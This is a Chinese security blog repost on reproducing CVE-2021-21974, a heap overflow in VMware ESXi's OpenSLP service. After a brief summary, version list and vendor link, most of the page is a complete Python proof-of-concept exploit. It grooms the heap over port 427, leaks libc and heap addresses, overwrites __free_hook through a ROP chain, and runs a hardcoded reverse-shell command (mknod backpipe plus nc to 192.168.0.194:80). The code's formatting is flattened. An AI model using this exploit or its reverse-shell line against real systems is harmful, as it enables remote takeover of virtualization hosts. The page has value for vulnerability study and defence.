CVE-2021-21974复现

admin 2023年5月2日18:48:05评论332 views字数 15142阅读50分28秒阅读模式

简介



VMware是全球云基础架构和移动商务解决方案厂商,提供基于VMware的解决方案,企业通过数据中心改造和公有云整合业务,借助企业安全转型维系客户信任,实现任意云端和设备上运行、管理、连接及保护任意应用。

攻击者与ESXI处于同一网段且可以访问427端口,可以通过向427端口发送构造的恶意请求包触发OpenSLP服务中的堆溢出漏洞,最终造成远程代码执行。



漏洞危害

攻击者可以通过发送精心构造的恶意数据包造成远程执行代码,获取接管服务器权限存在极大的安全隐患。



影响版本

漏洞影响的版本包括:

VMware vCenter Server 7.0系列 < 7.0.U1c

VMware vCenter Server 6.7系列 < 6.7.U3l

VMware vCenter Server 6.5系列 < 6.5 U3n

VMware ESXi 7.0系列 < ESXi70U1c-17325551

VMware ESXi 6.7系列 < ESXi670-202102401-SG

VMware ESXi 6.5系列 < ESXi650-202102101-SG

 

解决方案


对于CVE-2021-21974 VMware ESXI 堆溢出漏洞,请参考 https://kb.vmware.com/s/article/76372 相关文档解决。


POC


#!/usr/bin/python3####################################################################################################### CVE-2021-21974 PoC Exploit# By: Johnny Yu (@staight_blast)# Tested against:# [1] VMware ESXi 6.7.0 build-14320388 ; VMware ESXi 6.7.0 Update 3# [2] VMware ESXi 6.7.0 build-16316930 ; VMware ESXi 6.7.0 Update 3######################################################################################################import sysimport timeimport traceimport queueimport structimport socketimport threading
IP = sys.argv[1]#shell_cmd = b'echo "pwned" > /tmp/pwn'shell_cmd = b'mknod /tmp/backpipe p ; /bin/sh 0</tmp/backpipe | nc 192.168.0.194 80 1>/tmp/backpipe'
DEBUG = FalsePRINT = TrueLOG_LEAK = False
T = 0.3 #0.4PORT = 427COMMAND = 'command'MARKER = b'xefxbexadxde'
LISTEN = 0x65STREAM_READ = 0x6cSTREAM_WRITE = 0x6fSTREAM_READ_FIRST = 0x6d
LISTEN_FD = 0x8
leaked_data = b'x00x00x00x00'leaked_values = None
class SLP_Thread(threading.Thread): def __init__(self, input_q): super(SLP_Thread, self).__init__() self.input_q = input_q
def run(self): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) while True: try: data = self.input_q.get(True, 0.05) name = threading.current_thread().name.replace('Thread','SLP Client') if 'connect' == data[COMMAND]: if PRINT: print('[' + name + '] connect') s.connect((IP, PORT)) elif 'service request' == data[COMMAND]: arg1 = data['arg1'] outgoing = self.generate_srv_rqst(arg1) if PRINT: print('[' + name + '] service request') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name + '] recv: ', d) elif 'directory agent advertisement' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] outgoing = self.generate_da_advert(arg1, arg2) if PRINT: print('[' + name + '] directory agent advertisement') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name + '] recv: ', d) elif 'service registration' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] arg3 = data['arg3'] arg4 = data['arg4'] outgoing = self.generate_srv_reg(arg1, arg2, arg3, arg4) if PRINT: print('[' + name + '] service registration') s.send(outgoing) d = s.recv(1024) if PRINT: print('[' + name +'] recv: ', d)
elif 'attribute request' == data[COMMAND]: arg1 = data['arg1'] arg2 = data['arg2'] outgoing = self.generate_attrib_rqst(arg1) if PRINT: print('[' + name + '] attribute request') s.send(outgoing) output = b'' for i in range(0, arg2): output += s.recv(1) if PRINT: print('[' + name + '] recv: ', output) elif 'recv' == data[COMMAND]: output = b'' arg1 = data['arg1'] arg2 = data['arg2'] for i in range(0, arg2): output += s.recv(1) if arg1: print('[' + name + '] recv: ', output) elif 'leak data' == data[COMMAND]: outgoing = b'' incoming = b'' arg1 = data['arg1'] if arg1 > 0: for i in range(0, arg1): outgoing += s.recv(1)
#print(outgoing.hex())
global leaked_data leaked_data = outgoing else:
while True: incoming = s.recv(1) outgoing += incoming if MARKER in outgoing: break global leaked_values leaked_values = []
try: for i in range(0, len(outgoing), 4): v = struct.unpack('<I', outgoing[i : i+4])[0] leaked_values.append(v) except: pass
elif 'close' == data[COMMAND]: if PRINT: print('[' + name + '] close') s.close() break except queue.Empty: continue
def generate_slp_header(self, payload, functionid, xid, extoffset): packetlen = len(payload) + 16 if extoffset: extoffset += 16 header = bytearray([2, functionid]) header.extend(struct.pack('!IH', packetlen, 0)[1:]) header.extend(struct.pack('!IHH', extoffset, xid, 2)[1:]) header.extend(b'en') return header
def generate_srv_rqst(self, data): srvtype = prlist = scopes = predicate = b'' spi = data payload = bytearray(struct.pack('!H', len(prlist)) + prlist) payload.extend(struct.pack('!H', len(srvtype)) + srvtype) payload.extend(struct.pack('!H', len(scopes)) + scopes) payload.extend(struct.pack('!H', len(predicate)) + predicate) payload.extend(struct.pack('!H', len(spi)) + spi) header = self.generate_slp_header(payload, 1, 5, 0) return header + payload
def generate_da_advert(self, url, scopes): error_code = 0 boot_time = int(time.time()) attributes = spi = auth_blocks = b'' payload = bytearray(struct.pack('!H', error_code) + struct.pack('!I', boot_time)) payload.extend(struct.pack('!H', len(url)) + url) payload.extend(struct.pack('!H', len(scopes)) + scopes) payload.extend(struct.pack('!H', len(attributes)) + attributes) payload.extend(struct.pack('!H', len(spi)) + spi) payload.extend(struct.pack('!H', len(auth_blocks)) + auth_blocks) header = self.generate_slp_header(payload, 8, 0, 0) return header + payload def generate_url_entry(self, url): lifetime = 2 * 60 #seconds auth_blocks = b'' payload = bytearray([0]) payload.extend(struct.pack('!H', lifetime)) payload.extend(struct.pack('!H', len(url)) + url) payload.extend(struct.pack('!B', len(auth_blocks)) + auth_blocks) return payload def generate_srv_reg(self, url, srvtype, scopes, attributes): attrib_auth_blocks = b'' url_entry = self.generate_url_entry(url) payload = bytearray(url_entry) payload.extend(struct.pack('!H', len(srvtype)) + srvtype) payload.extend(struct.pack('!H', len(scopes)) + scopes) payload.extend(struct.pack('!H', len(attributes)) + attributes) payload.extend(struct.pack('!B', len(attrib_auth_blocks)) + attrib_auth_blocks) header = self.generate_slp_header(payload, 3, 20, 0) return header + payload def generate_attrib_rqst(self, url): scopes = b'DEFAULT' prlist = tags = spi = b'' payload = bytearray(struct.pack('!H', len(prlist)) + prlist) payload.extend(struct.pack('!H', len(url)) + url) payload.extend(struct.pack('!H', len(scopes)) + scopes) payload.extend(struct.pack('!H', len(tags)) + tags) payload.extend(struct.pack('!H', len(spi)) + spi) header = self.generate_slp_header(payload, 6, 12, 0) return header + payload
def close(): time.sleep(T) return {'command' : 'close'}
def connect(): time.sleep(T) return {'command' : 'connect'}
def service_request(arg1): time.sleep(T) return {'command' : 'service request', 'arg1' : arg1}
def da_advert_request(arg1, arg2): time.sleep(T) return {'command' : 'directory agent advertisement', 'arg1' : arg1, 'arg2' : arg2}
def service_registration(arg1, arg2): time.sleep(T) return {'command' : 'service registration', 'arg1' : b'127.0.0.1', 'arg2' : arg1, 'arg3' : b'default', 'arg4' : arg2}
def attribute_request(arg1, arg2): time.sleep(T) return {'command' : 'attribute request', 'arg1' : arg1, 'arg2' : arg2}
def leak_data(arg1 = -1): time.sleep(T) return {'command' : 'leak data', 'arg1': arg1}
def overflow_and_extend(size, flag): arg1 = b'A' * 24 arg2 = b'B' * 13 + struct.pack('<H', size + flag) + b':/' + b'C' * 647 return da_advert_request(arg1, arg2)
def update_target_slpdsocket(fd, size, state): payload = b'xd0x00x00x00' payload += b'x00' * 8 + b'xbexbaxfexca' payload += struct.pack('<I', fd) payload += b'x00' * 4 payload += struct.pack('<I', state) payload += b'x00' * 12 payload += b'x02x00x00x00' payload += b'x7fx00x00x01' payload += b'x00' * 8 filler = b'A' * (size - 0x76) return service_request(filler + payload)
def partial_update_target_send_buffer(size, send_buffer_size, flag, data): payload = struct.pack('<I', send_buffer_size + flag) payload += b'x00' * 8 payload += struct.pack('<I', send_buffer_size - 0x20) payload += data #b'x00' * 2 filler = b'A' * (size - 0x56) return service_request(filler + payload)
def update_target_send_buffer(size, send_buffer_size, flag, address, length): payload = struct.pack('<I', send_buffer_size + flag) payload += b'x00' * 8 payload += struct.pack('<I', send_buffer_size - 0x20) payload += struct.pack('<I', address) * 2 payload += struct.pack('<I', address + length) payload += b'x00' * 0x10 filler = b'A' * (size - 0x66) return service_request(filler + payload)
def update_target_recv_buffer(size, address): size += 0x1a payload = b'x40x00x00x00' payload += b'x00' * 8 payload += struct.pack('<I', size) payload += struct.pack('<I', address - 26) * 2 + struct.pack('<I', address - 26 + size) filler = b'A' * 0xca return service_request(filler + payload)
def block(size): if size > 0x38: size = size - 0x38 else: size = 1 return service_request(b'A' * size)
def breakpoint(): time.sleep(T) input('breakpoint')
def exploit(): count = 60 requests = [0] slpclients = [0]
global leaked_data global leaked_values
requests.extend([queue.Queue() for i in range(1, count)]) slpclients.extend([SLP_Thread(input_q = requests[i]) for i in range(1, count)])
for i in range(1, count): slpclients[i].start()
requests[1].put(connect()) requests[1].put(da_advert_request(b'roflmao://pwning', b'BBB'))
requests[2].put(connect()) requests[3].put(connect()) requests[4].put(connect()) requests[5].put(connect())
requests[2].put(block(0x40)) requests[3].put(block(0x40)) requests[4].put(block(0x40)) requests[5].put(block(0x40))
requests[6].put(connect()) requests[6].put(block(0x810)) requests[7].put(connect()) requests[8].put(connect()) requests[6].put(close()) requests[9].put(connect()) requests[9].put(overflow_and_extend(0x140, 0x1)) fd = 0xc requests[8].put(update_target_slpdsocket(fd, 0x140, STREAM_READ_FIRST)) requests[7].put(service_registration(b'service:pwn', MARKER + b'B' * (0x3200 - 21 - 4))) requests[8].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[10].put(connect()) requests[10].put(block(0x70))
requests[11].put(connect()) requests[12].put(connect()) requests[13].put(connect()) requests[11].put(block(0x810)) requests[14].put(connect()) requests[14].put(block(0x160)) requests[12].put(block(0x810)) requests[14].put(close()) requests[15].put(connect()) requests[15].put(attribute_request(b'service:pwn', 0x20))
requests[13].put(block(0x110)) requests[16].put(connect()) requests[17].put(connect())
requests[12].put(close()) requests[18].put(connect()) requests[18].put(overflow_and_extend(0x120, 0x3)) requests[17].put(partial_update_target_send_buffer(0x120, 0x3220, 0x1, b'x00x00')) requests[19].put(connect()) requests[19].put(block(0x178))
requests[11].put(close()) requests[20].put(connect()) requests[20].put(overflow_and_extend(0x140, 0x1)) fd = 0x11 requests[16].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE)) requests[16].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[21].put(connect()) requests[21].put(block(0x178)) requests[15].put(leak_data())
time.sleep(T + 1.0)
heap_address = 0 libc_base_address = 0
if leaked_values == None: print("[-] Exploit Failed [-]") return -1
leaked_values = leaked_values[::-1]
if LOG_LEAK: for i in leaked_values: print(hex(i)) if leaked_values[0] == 0xdeadbeef: heap_address = leaked_values[6] - 0x3220 + 0x4 elif leaked_values[0] == 0xefeb3174: heap_offset = 0x2b1 if leaked_values[42] == 0x42424242 else 0x5d61 heap_address = leaked_values[14] + heap_offset libc_leak_location = heap_address - 0x100 + 4 requests[22].put(connect()) requests[22].put(block(0x810)) requests[23].put(connect()) requests[23].put(block(0x100)) requests[24].put(connect()) requests[24].put(block(0x810)) requests[23].put(close()) requests[25].put(connect()) requests[25].put(block(0x698))
requests[27].put(connect()) requests[28].put(connect())
requests[24].put(close()) requests[26].put(connect()) requests[26].put(overflow_and_extend(0x130, 0x1)) requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_leak_location, 0x4)) requests[29].put(connect()) requests[29].put(block(0x178)) requests[22].put(close()) requests[30].put(connect()) requests[30].put(overflow_and_extend(0x140, 0x1)) fd = 0x15 requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE)) requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[31].put(connect()) requests[31].put(block(0x178)) requests[25].put(leak_data(0x4)) time.sleep(T + 1.0) libc_base_address = struct.unpack('<I', leaked_data)[0] - 0x193568
libc_ret_offset = 0x0008009c libc_system_offset = 0x0003e390 libc_environ_offset = 0x00194e20 libc___free_hook_offset = 0x001948d8 libc_ret_address = libc_base_address + libc_ret_offset libc_system_address = libc_base_address + libc_system_offset libc_environ_address = libc_base_address + libc_environ_offset libc___free_hook_address = libc_base_address + libc___free_hook_offset shell_cmd_address = heap_address + 0x34
gadget_offset = 0x0007fe01 # add esp, 0x100 ; ret gadget_address = libc_base_address + gadget_offset
requests[27].put(update_target_send_buffer(0x130, 0x598, 0x1, libc_environ_address, 0x4)) requests[28].put(update_target_slpdsocket(fd, 0x140, STREAM_WRITE)) requests[25].put(leak_data(0x4)) time.sleep(T + 1.0) stack_environ_address = struct.unpack('<I', leaked_data)[0] esp_offset = 0xe30 if sys.argv[2] == '1' else 0xe7c esp_value = stack_environ_address - esp_offset pivoted_esp_value = esp_value + 0x100
print() print('[+] libc base address: ', hex(libc_base_address)) print("[+] libc system address: ", hex(libc_system_address)) print("[+] libc environ address: ", hex(libc_environ_address)) print("[+] libc __free_hook address: ", hex(libc___free_hook_address)) print("[+] ret address: ", hex(libc_ret_address)) print("[+] gadget address: ", hex(gadget_address)) print('[+] heap address: ', hex(heap_address)) print("[+] shell command address: ", hex(shell_cmd_address)) print("[+] stack enviorn address: ", hex(stack_environ_address)) print("[+] esp value: ", hex(esp_value)) print("[+] pivoted esp value: ", hex(pivoted_esp_value)) print()
requests[28].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[32].put(connect()) requests[32].put(block(0x810)) requests[33].put(connect()) requests[34].put(connect()) requests[34].put(block(0x810)) requests[33].put(block(0x100)) requests[35].put(connect()) requests[36].put(connect())
requests[34].put(close()) requests[37].put(connect()) requests[37].put(overflow_and_extend(0x120, 0x3)) requests[36].put(update_target_recv_buffer(0x4, shell_cmd_address)) requests[38].put(connect()) requests[38].put(block(0x178)) requests[32].put(close()) requests[39].put(connect()) requests[39].put(overflow_and_extend(0x140, 0x1)) requests[35].put(update_target_slpdsocket(LISTEN_FD, 0x140, LISTEN)) requests[40].put(connect()) requests[40].put(block(0x178))
fd = 0x1a payload = shell_cmd + b'x00' requests[36].put(update_target_recv_buffer(len(payload), shell_cmd_address)) requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ)) requests[33].put(service_request(payload)) payload = struct.pack('<I', libc_ret_address) * 10 + struct.pack('<I', libc_system_address) + b'x41' * 4 + struct.pack('<I', shell_cmd_address) requests[36].put(update_target_recv_buffer(len(payload), pivoted_esp_value - 0x10)) requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ)) requests[33].put(service_request(payload)) #breakpoint() payload = b'x41x41x41x41' if DEBUG == True else struct.pack('<I', gadget_address) requests[36].put(update_target_recv_buffer(len(payload), libc___free_hook_address)) requests[35].put(update_target_slpdsocket(fd, 0x140, STREAM_READ)) requests[33].put(service_request(payload))
time.sleep(T + 1.0) print('[*] exploit deployed') return 0
def intro(): print(" _____ _____ ___ __ ___ _ ___ _ ___ ____ _ _ ") print(" / __ / / __|_|_ ) _ ) |__|_ ) / _ __ | | | ") print(" | (__ V /| _|___/ / () / /| |___/ /| _, / / /|_ _| ") print(" ___| _/ |___| /_____/___|_| /___|_|/_/ /_/ |_| ") print() print(" PoC Exploit ") print() print(" vuln discovered by: Lucas Leong (@_wmliang_) ") print(" poc by: Johnny Yu (@straight_blast) ") print(" ") print() print(" currently support the following: ") print(" [1] VMware ESXi 6.7.0 build-14320388 ") print(" [2] VMware ESXi 6.7.0 build-16316930 ") print()
if __name__ == '__main__': intro() exploit()


参考链接


https://github.com/straightblast/My-PoC-Exploits/blob/master/CVE-2021-21974.pyhttps://www.secpulse.com/archives/154296.html

CVE-2021-21974复现


本文版权归作者和微信公众号平台共有,重在学习交流,不以任何盈利为目的,欢迎转载。


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。公众号内容中部分攻防技巧等只允许在目标授权的情况下进行使用,大部分文章来自各大安全社区,个人博客,如有侵权请立即联系公众号进行删除。若不同意以上警告信息请立即退出浏览!!!


敲敲小黑板:《刑法》第二百八十五条 【非法侵入计算机信息系统罪;非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。


原文始发于微信公众号(无问之路):CVE-2021-21974复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月2日18:48:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-21974复现https://cn-sec.com/archives/1703618.html

发表评论

匿名网友 填写信息